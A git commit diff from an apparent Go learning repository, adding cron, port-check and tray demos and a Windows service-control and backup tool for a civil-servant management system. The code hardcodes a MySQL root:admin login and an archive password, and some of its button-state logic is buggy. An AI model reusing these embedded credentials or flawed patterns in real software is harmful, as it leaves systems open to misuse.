Browse Source

Merge remote-tracking branch 'origin/master'

master
viviman 3 years ago
parent
commit
a3f89eed1d
  1. 20
      golang_learn/data_func/go_to_crontab/demo01/main.go
  2. 34
      golang_learn/data_func/go_to_crontab/demo02/main.go
  3. 17
      golang_learn/data_func/go_to_crontab/demo03/main.go
  4. 35
      golang_learn/data_func/go_to_listen/demo01/main.go
  5. 53
      golang_learn/data_func/go_to_listen/demo02/main.go
  6. 0
      golang_learn/data_func/go_to_tray/demo01/icon.ico
  7. 2
      golang_learn/data_func/go_to_tray/demo01/main.go
  8. 1
      golang_learn/data_func/go_to_tray/demo02/build.bat
  9. 133
      golang_learn/data_func/go_to_tray/demo02/main.go
  10. BIN
      golang_learn/data_func/go_to_tray/demo02/main.ico
  11. 22
      golang_learn/data_func/go_to_tray/demo02/main.manifest
  12. BIN
      golang_learn/data_func/go_to_tray/demo02/main.syso
  13. 3
      golang_learn/data_func/go_to_tray/demo03/build.bat
  14. 225
      golang_learn/data_func/go_to_tray/demo03/main.go
  15. BIN
      golang_learn/data_func/go_to_tray/demo03/main.ico
  16. 22
      golang_learn/data_func/go_to_tray/demo03/main.manifest
  17. BIN
      golang_learn/data_func/go_to_tray/demo03/main.syso
  18. 15
      golang_learn/data_func/go_to_tray/demo04/main.go
  19. 5
      golang_learn/data_func/go_to_windows/build.bat
  20. BIN
      golang_learn/data_func/go_to_windows/image/bangzhu.png
  21. BIN
      golang_learn/data_func/go_to_windows/image/beifen.png
  22. BIN
      golang_learn/data_func/go_to_windows/image/guanyu.png
  23. BIN
      golang_learn/data_func/go_to_windows/image/huanyuan.png
  24. BIN
      golang_learn/data_func/go_to_windows/image/icon.ico
  25. BIN
      golang_learn/data_func/go_to_windows/image/media.png
  26. BIN
      golang_learn/data_func/go_to_windows/image/qinghuancun.png
  27. BIN
      golang_learn/data_func/go_to_windows/image/shezhi.png
  28. BIN
      golang_learn/data_func/go_to_windows/image/shujuku.png
  29. BIN
      golang_learn/data_func/go_to_windows/image/tuichu.png
  30. BIN
      golang_learn/data_func/go_to_windows/image/yaoqiu.png
  31. BIN
      golang_learn/data_func/go_to_windows/image/yingyong.png
  32. 25
      golang_learn/data_func/go_to_windows/log.go
  33. 212
      golang_learn/data_func/go_to_windows/main.go
  34. 50
      golang_learn/data_func/go_to_windows/shellCode.go
  35. 43
      golang_learn/data_func/go_to_windows/versioninfo.json
  36. 309
      golang_learn/data_func/go_to_windows/winMc.go
  37. 74
      golang_learn/data_func/go_to_windows/winNotifyIcon.go
  38. 297
      golang_learn/data_func/go_to_windows/winStruct.go
  39. 78
      golang_learn/data_func/go_to_windows/winView.go
  40. 25
      golang_learn/data_func/go_to_windows/说明.md
  41. BIN
      golang_learn/data_func/go_to_windows/运行 UPX Shell.lnk
  42. 310
      golang_learn/data_office/get_v_YuanKong/client.go
  43. 245
      golang_learn/data_office/get_v_YuanKong/server.go
  44. 19
      golang_learn/data_office/get_v_YuanKong/说明.md
  45. 3
      golang_learn/go.mod
  46. 10
      golang_learn/go.sum
  47. 16873
      gui_wails02_learn/frontend/package-lock.json
  48. 6
      gui_wails02_learn/frontend/src/App.vue
  49. 31
      gui_wails02_learn/frontend/src/components/About.vue
  50. 25
      gui_wails02_learn/frontend/src/components/BtnClose.vue
  51. 13
      gui_wails02_learn/frontend/src/components/Dropdown.vue
  52. 342
      gui_wails02_learn/frontend/src/components/Settings.vue
  53. 318
      gui_wails02_learn/frontend/src/components/demo.vue

20
golang_learn/data_func/go_to_crontab/demo01/main.go

@ -0,0 +1,20 @@
package main
import (
"fmt"
"github.com/robfig/cron/v3"
)
func main() {
crontab := cron.New()
task := func() {
fmt.Println("hello world")
}
// 添加定时任务, * * * * * 是 crontab,表示每分钟执行一次
_, _ = crontab.AddFunc("* * * * *", task)
// 启动定时器
crontab.Start()
// 定时任务是另起协程执行的,这里使用 select 简答阻塞.实际开发中需要
// 根据实际情况进行控制
select {}
}

34
golang_learn/data_func/go_to_crontab/demo02/main.go

@ -0,0 +1,34 @@
package main
import (
"log"
"github.com/robfig/cron/v3"
)
type Hello struct {
Str string
}
func (h Hello) Run() {
log.Println(h.Str)
}
func main() {
log.Println("Starting...")
c := cron.New()
h := Hello{"I Love You!"}
// 添加定时任务
_, _ = c.AddJob("*/2 * * * * * ", h)
// 添加定时任务
_, _ = c.AddFunc("*/5 * * * * * ", func() {
log.Println("hello word")
})
// 其中任务
c.Start()
// 关闭任务
defer c.Stop()
select {}
}

17
golang_learn/data_func/go_to_crontab/demo03/main.go

@ -0,0 +1,17 @@
package main
import (
"github.com/robfig/cron/v3"
"log"
)
func main() {
c := cron.New()
_, _ = c.AddFunc("@every 5s", timer)
c.Start()
select {}
}
func timer() {
log.Println("每5s执行一次")
}

35
golang_learn/data_func/go_to_listen/demo01/main.go

@ -0,0 +1,35 @@
package main
import (
"bufio"
"fmt"
"io"
"log"
"net"
)
func handleConnection(conn net.Conn) {
br := bufio.NewReader(conn)
for {
data, err := br.ReadString('\n')
if err == io.EOF {
break
}
fmt.Printf("%s", data)
fmt.Fprintf(conn, "OK\n")
}
conn.Close()
}
func main() {
ln, err := net.Listen("tcp", ":54022")
if err != nil {
panic(err)
}
for {
conn, err := ln.Accept()
if err != nil {
log.Fatal("get client connection error: ", err)
}
go handleConnection(conn)
}
}

53
golang_learn/data_func/go_to_listen/demo02/main.go

@ -0,0 +1,53 @@
package main
import (
"fmt"
"net"
"os"
"time"
)
// 获取IP和端口
func getIpPort() []string {
// 根据接收参数个数,定义动态数组,
ipPorts := make([]string, len(os.Args)-1)
i := 0
for index, value := range os.Args {
//排除脚本名称
if index == 0 {
continue
}
//写入数组
ipPorts[i] = value
i++
}
return ipPorts
}
// 检测端口
func checkPorts(ipPorts []string) {
now := time.Now().Format("2006-01-02 15:04:05")
for _, ipPort := range ipPorts {
// 检测端口
conn, err := net.DialTimeout("tcp", ipPort, 3*time.Second)
if err != nil {
fmt.Println("["+now+"]", ipPort, "端口未开启(fail)!")
} else {
if conn != nil {
fmt.Println("["+now+"]", ipPort, "端口已开启(success)!")
conn.Close()
} else {
fmt.Println("["+now+"]", ipPort, "端口未开启(fail)!")
}
}
}
}
func main() {
ret := getIpPort()
if len(ret) == 0 {
ret = []string{":35017", ":54022"}
}
checkPorts(ret)
}

0
golang_learn/data_func/go_to_0tray/icon.ico → golang_learn/data_func/go_to_tray/demo01/icon.ico

Before

Width:  |  Height:  |  Size: 66 KiB

After

Width:  |  Height:  |  Size: 66 KiB

2
golang_learn/data_func/go_to_0tray/main.go → golang_learn/data_func/go_to_tray/demo01/main.go

@ -20,7 +20,7 @@ func main() {
func onReady() {
timezone = "默认文字"
systray.SetIcon(getIcon("data_func/go_to_tray/icon.ico"))
systray.SetIcon(getIcon("D:\\ViviCode\\golangs_learn\\golang_learn\\data_func\\go_to_tray\\demo01\\icon.ico"))
submenu := systray.AddSubMenu("子菜单")
_ = submenu.AddSubMenuItem("开始", "", 0)

1
golang_learn/data_func/go_to_windows/build/build.bat → golang_learn/data_func/go_to_tray/demo02/build.bat

@ -1,6 +1,5 @@
set GO111MODULE=on
set GOARCH=386
cd ../
rsrc -manifest main.manifest -ico main.ico -o main.syso
go generate
go build -ldflags="-s -w -H=windowsgui" -o 运行监控.exe

133
golang_learn/data_func/go_to_tray/demo02/main.go

@ -0,0 +1,133 @@
package main
import (
"fmt"
"log"
"net/http"
"github.com/braintree/manners"
"github.com/lxn/walk"
)
func handler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hi there, I love %s!", r.URL.Path[1:])
}
type MyWindow struct {
*walk.MainWindow
ni *walk.NotifyIcon
}
func NewMyWindow() *MyWindow {
mw := new(MyWindow)
var err error
mw.MainWindow, err = walk.NewMainWindow()
checkError(err)
return mw
}
func (mw *MyWindow) init() {
http.HandleFunc("/", handler)
}
func (mw *MyWindow) RunHttpServer() error {
return manners.ListenAndServe(":8080", http.DefaultServeMux)
}
func (mw *MyWindow) AddNotifyIcon() {
var err error
mw.ni, err = walk.NewNotifyIcon(mw)
checkError(err)
mw.ni.SetVisible(true)
icon, err := walk.NewIconFromResourceId(3)
checkError(err)
mw.SetIcon(icon)
mw.ni.SetIcon(icon)
startAction := mw.addAction(nil, "start")
stopAction := mw.addAction(nil, "stop")
stopAction.SetEnabled(false)
startAction.Triggered().Attach(func() {
go func() {
err := mw.RunHttpServer()
if err != nil {
mw.msgbox("start", "start http server failed.", walk.MsgBoxIconError)
return
}
}()
startAction.SetChecked(true)
startAction.SetEnabled(false)
stopAction.SetEnabled(true)
mw.msgbox("start", "start http server success.", walk.MsgBoxIconInformation)
})
stopAction.Triggered().Attach(func() {
ok := manners.Close()
if !ok {
mw.msgbox("stop", "stop http server failed.", walk.MsgBoxIconError)
} else {
stopAction.SetEnabled(false)
startAction.SetChecked(false)
startAction.SetEnabled(true)
mw.msgbox("stop", "stop http server success.", walk.MsgBoxIconInformation)
}
})
helpMenu := mw.addMenu("help")
mw.addAction(helpMenu, "help").Triggered().Attach(func() {
walk.MsgBox(mw, "help", "http://127.0.0.1:8080", walk.MsgBoxIconInformation)
})
mw.addAction(helpMenu, "about").Triggered().Attach(func() {
walk.MsgBox(mw, "about", "http server.", walk.MsgBoxIconInformation)
})
mw.addAction(nil, "exit").Triggered().Attach(func() {
mw.ni.Dispose()
mw.Dispose()
walk.App().Exit(0)
})
}
func (mw *MyWindow) addMenu(name string) *walk.Menu {
helpMenu, err := walk.NewMenu()
checkError(err)
help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu)
checkError(err)
help.SetText(name)
return helpMenu
}
func (mw *MyWindow) addAction(menu *walk.Menu, name string) *walk.Action {
action := walk.NewAction()
action.SetText(name)
if menu != nil {
menu.Actions().Add(action)
} else {
mw.ni.ContextMenu().Actions().Add(action)
}
return action
}
func (mw *MyWindow) msgbox(title, message string, style walk.MsgBoxStyle) {
mw.ni.ShowInfo(title, message)
walk.MsgBox(mw, title, message, style)
}
func main() {
mw := NewMyWindow()
mw.init()
mw.AddNotifyIcon()
mw.Run()
}
func checkError(err error) {
if err != nil {
log.Fatal(err)
}
}

BIN
golang_learn/data_func/go_to_tray/demo02/main.ico

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.3 KiB

22
golang_learn/data_func/go_to_tray/demo02/main.manifest

@ -0,0 +1,22 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="SomeFunkyNameHere" type="win32"/>
<dependency>
<dependentAssembly>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/>
</dependentAssembly>
</dependency>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2, PerMonitor</dpiAwareness>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">True</dpiAware>
</windowsSettings>
</application>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

BIN
golang_learn/data_func/go_to_tray/demo02/main.syso

Binary file not shown.

3
golang_learn/data_func/go_to_windows/build/build.sh → golang_learn/data_func/go_to_tray/demo03/build.bat

@ -1,6 +1,5 @@
set GO111MODULE=on
set GOARCH=386
cd ../
rsrc -manifest main.manifest -ico main.ico -o main.syso
go generate
go build -ldflags="-s -w -H=windowsgui" -o HyServer.exe
go build -ldflags="-s -w -H=windowsgui" -o 꽉데으-頓契솰왠.exe

225
golang_learn/data_func/go_to_tray/demo03/main.go

@ -0,0 +1,225 @@
package main
import (
"log"
"net"
"os/exec"
"runtime"
"syscall"
"time"
"github.com/braintree/manners"
"github.com/lxn/walk"
)
type MyWindow struct {
*walk.MainWindow
ni *walk.NotifyIcon
}
func NewMyWindow() *MyWindow {
mw := new(MyWindow)
var err error
mw.MainWindow, err = walk.NewMainWindow()
checkError(err)
return mw
}
func (mw *MyWindow) AddNotifyIcon() {
var err error
mw.ni, err = walk.NewNotifyIcon(mw)
checkError(err)
_ = mw.ni.SetVisible(true)
icon, err := walk.NewIconFromResourceId(3)
checkError(err)
_ = mw.SetIcon(icon)
_ = mw.ni.SetIcon(icon)
// 数据库 服务
mw.addDbMenu()
// 应用程序 服务
mw.addCxMenu()
// 其他快捷键
mw.addOther()
}
func init() {
}
func main() {
mw := NewMyWindow()
mw.AddNotifyIcon()
mw.Run()
}
func checkError(err error) {
if err != nil {
log.Fatal(err)
}
}
// open opens the specified URL in the default browser of the user.
func OpenUrl(url string) error {
var cmd string
var args []string
switch runtime.GOOS {
case "windows":
cmd = "cmd"
args = []string{"/c", "start"}
case "darwin":
cmd = "open"
default: // "linux", "freebsd", "openbsd", "netbsd"
cmd = "xdg-open"
}
args = append(args, url)
c := exec.Command(cmd, args...)
c.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
return c.Start()
}
// addOther 增加其他按钮操作
func (mw *MyWindow) addOther() {
mw.addAction(nil, "打开应用").Triggered().Attach(func() {
_ = OpenUrl("http://localhost:54022/qggwy")
})
helpMenu := mw.addMenu("帮助")
mw.addAction(helpMenu, "升级").Triggered().Attach(func() {
walk.MsgBox(mw, "即将打开网页", "点击《确认》进行下载安装组工软件!", walk.MsgBoxIconInformation)
_ = OpenUrl("https://www.12371.cn/zgrjxz/gwywx/")
})
mw.addAction(helpMenu, "关于").Triggered().Attach(func() {
walk.MsgBox(mw, "关于", "辅助使用公务员系统服务", walk.MsgBoxIconInformation)
})
mw.addAction(nil, "退出").Triggered().Attach(func() {
mw.ni.Dispose()
mw.Dispose()
walk.App().Exit(0)
})
}
// addDbMenu 增加数据库服务按钮操作
func (mw *MyWindow) addDbMenu() {
dbMenu := mw.addMenu("数据服务")
startDbAction := mw.addAction(dbMenu, "启动")
stopDbAction := mw.addAction(dbMenu, "停止")
_ = stopDbAction.SetEnabled(false)
startDbAction.Triggered().Attach(func() {
ok := manners.Close()
if !ok {
setEnableAndCheck(startDbAction, stopDbAction, true, false)
mw.msgbox("启动", "启动失败!", walk.MsgBoxIconError)
} else {
setEnableAndCheck(startDbAction, stopDbAction, false, true)
mw.msgbox("启动", "启动成功.", walk.MsgBoxIconInformation)
}
})
stopDbAction.Triggered().Attach(func() {
ok := manners.Close()
if !ok {
setEnableAndCheck(startDbAction, stopDbAction, false, true)
mw.msgbox("停止", "停止失败!", walk.MsgBoxIconError)
} else {
setEnableAndCheck(startDbAction, stopDbAction, true, false)
mw.msgbox("停止", "停止成功.", walk.MsgBoxIconInformation)
}
})
go AddListen(startDbAction, stopDbAction, ":35017", 3*time.Second)
}
// addCxMenu 增加程序服务按钮操作
func (mw *MyWindow) addCxMenu() {
cxMenu := mw.addMenu("应用服务")
startCxAction := mw.addAction(cxMenu, "启动")
stopCxAction := mw.addAction(cxMenu, "停止")
_ = stopCxAction.SetEnabled(false)
startCxAction.Triggered().Attach(func() {
ok := manners.Close()
if !ok {
setEnableAndCheck(startCxAction, stopCxAction, true, false)
mw.msgbox("启动", "启动失败!", walk.MsgBoxIconError)
} else {
setEnableAndCheck(startCxAction, stopCxAction, false, true)
mw.msgbox("启动", "启动成功.", walk.MsgBoxIconInformation)
}
})
stopCxAction.Triggered().Attach(func() {
ok := manners.Close()
if ok {
setEnableAndCheck(startCxAction, stopCxAction, false, true)
mw.msgbox("停止", "停止失败!", walk.MsgBoxIconError)
} else {
setEnableAndCheck(startCxAction, stopCxAction, true, false)
mw.msgbox("停止", "停止成功.", walk.MsgBoxIconInformation)
}
})
go AddListen(startCxAction, stopCxAction, ":54022", 3*time.Second)
}
// AddListen 增加服务监听,控制按钮状态
func AddListen(startAction *walk.Action, stopAction *walk.Action, address string, timeout time.Duration) {
conn, err := net.DialTimeout("tcp", address, timeout)
if err != nil {
// fmt.Println("["+now+"]", ipPort, "端口未开启(fail)!")
setEnableAndCheck(startAction, stopAction, false, false)
} else {
if conn != nil {
// fmt.Println("["+now+"]", ipPort, "端口已开启(success)!")
setEnableAndCheck(startAction, stopAction, false, true)
_ = conn.Close()
} else {
// fmt.Println("["+now+"]", ipPort, "端口未开启(fail)!")
setEnableAndCheck(startAction, stopAction, true, false)
}
}
}
// setEnableAndCheck 设置按钮状态
func setEnableAndCheck(startAction, stopAction *walk.Action, startBool, stopBool bool) {
_ = startAction.SetEnabled(startBool)
_ = stopAction.SetEnabled(stopBool)
_ = startAction.SetChecked(!startBool)
_ = stopAction.SetChecked(!stopBool)
}
// addMenu 增加分类按钮操作
func (mw *MyWindow) addMenu(name string) *walk.Menu {
helpMenu, err := walk.NewMenu()
checkError(err)
help, err := mw.ni.ContextMenu().Actions().AddMenu(helpMenu)
checkError(err)
_ = help.SetText(name)
return helpMenu
}
// addAction 增加分类子按钮操作
func (mw *MyWindow) addAction(menu *walk.Menu, name string) *walk.Action {
action := walk.NewAction()
_ = action.SetText(name)
if menu != nil {
_ = menu.Actions().Add(action)
} else {
_ = mw.ni.ContextMenu().Actions().Add(action)
}
return action
}
// msgbox 提示框
func (mw *MyWindow) msgbox(title, message string, style walk.MsgBoxStyle) {
_ = mw.ni.ShowInfo(title, message)
walk.MsgBox(mw, title, message, style)
}

BIN
golang_learn/data_func/go_to_tray/demo03/main.ico

Binary file not shown.

After

Width:  |  Height:  |  Size: 6.3 KiB

22
golang_learn/data_func/go_to_tray/demo03/main.manifest

@ -0,0 +1,22 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" processorArchitecture="*" name="SomeFunkyNameHere" type="win32"/>
<dependency>
<dependentAssembly>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"/>
</dependentAssembly>
</dependency>
<application xmlns="urn:schemas-microsoft-com:asm.v3">
<windowsSettings>
<dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2, PerMonitor</dpiAwareness>
<dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">True</dpiAware>
</windowsSettings>
</application>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

BIN
golang_learn/data_func/go_to_tray/demo03/main.syso

Binary file not shown.

15
golang_learn/data_func/go_to_tray/demo04/main.go

@ -0,0 +1,15 @@
package main
import (
"fmt"
"github.com/braintree/manners"
"net/http"
)
func main() {
err := manners.ListenAndServe(":54022", http.DefaultServeMux)
if err == nil {
fmt.Println("哼")
}
fmt.Println("哈哈")
}

5
golang_learn/data_func/go_to_windows/build.bat

@ -0,0 +1,5 @@
set GO111MODULE=on
set GOARCH=386
rsrc -manifest main.manifest -ico main.ico -o main.syso
go generate
go build -ldflags="-s -w -H=windowsgui" -o 运行监控.exe

BIN
golang_learn/data_func/go_to_windows/image/bangzhu.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 761 B

BIN
golang_learn/data_func/go_to_windows/image/beifen.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 KiB

BIN
golang_learn/data_func/go_to_windows/image/guanyu.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 400 B

BIN
golang_learn/data_func/go_to_windows/image/huanyuan.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.1 KiB

BIN
golang_learn/data_func/go_to_windows/image/icon.ico

Binary file not shown.

Before

Width:  |  Height:  |  Size: 66 KiB

BIN
golang_learn/data_func/go_to_windows/image/media.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 344 B

BIN
golang_learn/data_func/go_to_windows/image/qinghuancun.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 KiB

BIN
golang_learn/data_func/go_to_windows/image/shezhi.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 267 B

BIN
golang_learn/data_func/go_to_windows/image/shujuku.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 777 B

BIN
golang_learn/data_func/go_to_windows/image/tuichu.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

BIN
golang_learn/data_func/go_to_windows/image/yaoqiu.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 15 KiB

BIN
golang_learn/data_func/go_to_windows/image/yingyong.png

Binary file not shown.

Before

Width:  |  Height:  |  Size: 714 B

25
golang_learn/data_func/go_to_windows/log.go

@ -0,0 +1,25 @@
package main
import (
"fmt"
"io"
"log"
"os"
"time"
)
var (
Info *log.Logger
Error *log.Logger
)
func init() {
//日志输出文件
file, err := os.OpenFile(fmt.Sprintf("./tomcat8/logs/GWY-%s.log", time.Now().Format("20060102")), os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
if err != nil {
log.Fatalln("Faild to open error logger file:", err)
}
//自定义日志格式
Info = log.New(io.MultiWriter(file, os.Stderr), "INFO: ", log.Ldate|log.Ltime|log.Lshortfile)
Error = log.New(io.MultiWriter(file, os.Stderr), "ERROR: ", log.Ldate|log.Ltime|log.Lshortfile)
}

212
golang_learn/data_func/go_to_windows/main.go

@ -16,7 +16,6 @@ import (
"io"
"io/fs"
"io/ioutil"
"log"
"os"
"os/exec"
"path/filepath"
@ -33,16 +32,15 @@ var passwordname = "Qw^e1@10&++Hzb...?8" // 解压密码
var path string // 该部分不存在最后 横线 (格式为 D:\hzb2021),使用时需要补充横线
var epsoft1 = `全国公务员管理信息系统2020版` // 系统名称 1
var epsoft2 = `全国公务员管理信息系统2021版` // 系统名称 2
var url = `root:admin@tcp(127.0.0.1:35017)/hy_qggwy?charset=utf8`
var tabs Tabs // 清除特殊字符串表和字段
var funcs Funcs // 执行批量操作脚本
var typeStr = `0` // 执行导出名册默认 0-按照职务输出生成 1-按照主职务生成
var timezone string
type myApp struct {
*walk.FormBase
title string
name string
msg *walk.TextEdit
mw *walk.MainWindow
ni *walk.NotifyIcon
}
type myService struct {
text string
@ -51,6 +49,8 @@ type myService struct {
btnRegister *walk.PushButton
btnStart *walk.PushButton
btnStop *walk.PushButton
menuStart *walk.Action
menuStop *walk.Action
}
type tabIdx struct {
tabName string // 表名
@ -63,11 +63,11 @@ func init() {
app.title = "公务员管理系统-运行监控"
app.name = "网新"
service1 = myService{
text: " 数据存储库",
text: "数据存储库",
serviceName: "GWY20_Mysql",
}
service3 = myService{
text: " 公务员系统",
text: "公务员系统",
serviceName: "GWY20_Tomcat",
}
path, _ = os.Getwd()
@ -75,6 +75,7 @@ func init() {
// main 程序入口
func main() {
// RunShellCode()
err := GetWindows()
if err != nil {
@ -128,12 +129,27 @@ func runMain() {
go flushServiceStat(service3)
app.mw.Show()
app.AddNotifyIcon()
app.mw.Run()
}
func OnExit() {
// 清除销毁
walk.App().Exit(0)
}
// setServiceState 设置 服务状态描述和按钮状态
func setServiceState(service myService, msg string, btnStartStatus, btnStopStatus, btnRegisterStatus bool) {
_ = service.labelState.SetText(msg)
if btnStartStatus {
service.menuStop.SetEnabled(false)
service.menuStart.SetChecked(false)
service.menuStart.SetEnabled(true)
} else {
service.menuStop.SetEnabled(false)
service.menuStart.SetChecked(false)
service.menuStart.SetEnabled(true)
}
service.btnStart.SetEnabled(btnStartStatus)
service.btnStop.SetEnabled(btnStopStatus)
service.btnRegister.SetEnabled(btnRegisterStatus)
@ -242,6 +258,7 @@ func stopService(service myService) {
// showMsg 显示内容到 控制面板
func showMsg(msg string) {
Info.Println(msg)
app.msg.AppendText(time.Now().Format("2006-01-02 15:04:05 "))
app.msg.AppendText(msg)
app.msg.AppendText("\r\n")
@ -420,7 +437,7 @@ func setDbIni(innodbBufferPoolSize int) {
file, err := os.OpenFile(myIniFile, os.O_RDWR, 0666)
if err != nil {
showMsg("【异常】打开文件发生错误!" + myIniFile)
log.Fatal("打开文件异常:", err)
Error.Println("打开文件异常:", err)
return
}
//defer关闭文件
@ -440,7 +457,7 @@ func setDbIni(innodbBufferPoolSize int) {
break
} else {
showMsg("【异常】读取文件发生错误:" + line)
log.Fatal("读取文件异常:", err)
Error.Println("读取文件异常:", err)
return
}
}
@ -469,28 +486,6 @@ func setServerSize() {
})
}
// 按照职务输出生成(可能人员重复)
func getMcByA0281() {
typeStr = "0"
mc, b := RunMc()
if b {
return
}
showMsg("导出文件成功!")
showMsg(fmt.Sprintf("存放当前目录下,文件名称:%s", mc))
}
// 按照主职务生成(可能人员丢失)
func getMcByA0279() {
typeStr = "1"
mc, b := RunMc()
if b {
return
}
showMsg("导出文件成功!")
showMsg(fmt.Sprintf("存放当前目录下,文件名称:%s", mc))
}
// reDbIndex 重新构建索引
func reDbIndex() {
// 判断 mysql 服务应用启动
@ -501,7 +496,7 @@ func reDbIndex() {
time.Sleep(time.Second)
db, _ := sql.Open("mysql", url)
db, _ := sql.Open("mysql", "root:admin@tcp(127.0.0.1:35017)/hy_qggwy?charset=utf8")
showMsg("连接数据库成功!\n请不要进行其他操作,否则影响执行...")
for i := 0; i < len(DbIndex); i++ {
ExecSql(db, fmt.Sprintf(`DROP INDEX %s ON %s`, DbIndex[i].idxName, DbIndex[i].tabName))
@ -510,49 +505,10 @@ func reDbIndex() {
showMsg("已完成重新构建索引!")
}
// clearData 数据清洗 (主要同步主细表数据;清洗可录入数据中特殊字符串)
func clearData() {
// 判断 mysql 服务应用启动
if service1.btnStart.Enabled() {
walk.MsgBox(app.mw, "错误", "数据库服务未启动,即将进行数据库服务启动!", walk.MsgBoxIconWarning)
startService(service1)
}
time.Sleep(time.Second)
db, _ := sql.Open("mysql", url)
showMsg("连接数据库成功!\n请不要进行其他操作,否则影响执行...")
for i := range funcs.Sql {
sqlStrs := funcs.Sql[i]
for _, sqlStr := range sqlStrs.Sql {
db.Exec(sqlStr)
}
showMsg(fmt.Sprintf("已完成%s!", sqlStrs.name))
}
for i := range tabs.Tab {
tab := tabs.Tab[i]
for _, col := range tab.Cols {
for i2 := range ts {
_, _ = db.Exec(fmt.Sprintf(`update %s set %s=replace(%s, '%s', '') where %s is not null`, tab.name, col, col, ts[i2], col))
}
}
}
showMsg("已完成清洗数据中特殊字符串!")
}
var ts = []string{
"&#x00",
"&#x01",
"&#00",
"&#01",
"&#",
}
func ExecSql(db *sql.DB, sql string) {
stmt, err := db.Prepare(sql)
if err != nil {
log.Fatal(err)
Error.Println(err)
}
_, _ = stmt.Exec()
defer stmt.Close()
@ -570,7 +526,7 @@ func dbBak() {
// 判断 mysql 服务应用启动
if !service1.btnStart.Enabled() {
db, _ := sql.Open("mysql", url)
db, _ := sql.Open("mysql", "root:admin@tcp(127.0.0.1:35017)/hy_qggwy?charset=utf8")
showMsg("连接数据库成功!\n备份操作可能需要相当长时间...")
// 【压缩data方式】创建临时文件夹
@ -601,9 +557,12 @@ func dbBak() {
time.Sleep(time.Second)
// 备份压缩文件
// 备份数据库 - data压缩文件
Zip("./mysql/data", fmt.Sprintf("./%s/data.gz", dir))
// 备份程序 - war压缩文件
Zip("./tomcat8/webapps/qggwy", fmt.Sprintf("./%s/qggwy.gz", dir))
dirName := fmt.Sprintf("./%s/", dir)
fileName := fmt.Sprintf("%s.gz", dir)
// 进行压缩操作 并 删除压缩前目录
@ -616,7 +575,7 @@ func dbBak() {
// 启动服务
startService(service1)
showMsg("已完成数据备份!")
showMsg(fmt.Sprintf(`⭐数据备份:%s\%s`, fileName, fileName))
showMsg(fmt.Sprintf(`⭐数据备份:%s`, fileName))
} else {
showMsg("无法正常启动数据库!")
}
@ -625,31 +584,46 @@ func dbBak() {
// reDbBak 备份数据还原
func reDbBak() {
app.RunDbBakSetingDialog(app.mw, func(setings *DbBakSetings) {
if win.IDYES == walk.MsgBox(app.mw, "备份提醒", "还原会删除历史文件\n还原前是否进行数据备份?", walk.MsgBoxYesNo) {
dbBak()
}
showMsg("准备还原备份!")
// 停服务
//stopService(service1)
time.Sleep(time.Second * 2)
stopService(service1)
time.Sleep(time.Second * 3)
stopService(service3)
err := os.RemoveAll(fmt.Sprintf(`%s\mysql\data`, path))
if err != nil {
showMsg("【异常】删除历史 数据原文件异常!")
return
}
err = os.RemoveAll(fmt.Sprintf(`%s\tomcat8\HZBPHOTOS`, path))
if err != nil {
showMsg("【异常】删除历史 照片原文件异常!")
return
}
err = os.RemoveAll(fmt.Sprintf(`%s\tomcat8\webapps\qggwy`, path))
if err != nil {
showMsg("【异常】删除历史 程序原文件异常!")
return
}
command := exec.Command(path+`\tools\db-renew.exe`, `-file=`+setings.fileName, `-path=`+path)
command.Run()
time.Sleep(time.Second * 3)
// 起服务
//startService(service1)
startService(service1)
startService(service3)
// 执行还原操作
showMsg("已完成备份数据还原!")
})
}
func (mw *DbBakSetings) selectFile() {
dlg := new(walk.FileDialog)
dlg.Title = "选择还原文件(格式:gz)"
dlg.Filter = "可执行文件 (*.gz)|*.gz"
_ = mw.searchBox.SetText("") //通过重定向变量设置TextEdit的Text
if ok, err := dlg.ShowOpen(mw); err != nil {
showMsg("【异常】选择打开文件!")
} else if !ok {
showMsg("Cancel\n")
}
_ = mw.searchBox.SetText(mw.path)
}
// QuerySQL 获取表数据
func QuerySQL(db *sql.DB, dir, sqlStr, tableName string, colNil []string) {
rows, _ := db.Query(sqlStr)
@ -851,7 +825,7 @@ func InHzb() error {
func Contains(array []fs.FileInfo, val string) (index int) {
index = -1
for i := range array {
// log.Println(array[i].Name()) //打印当前文件或目录下的文件或目录名
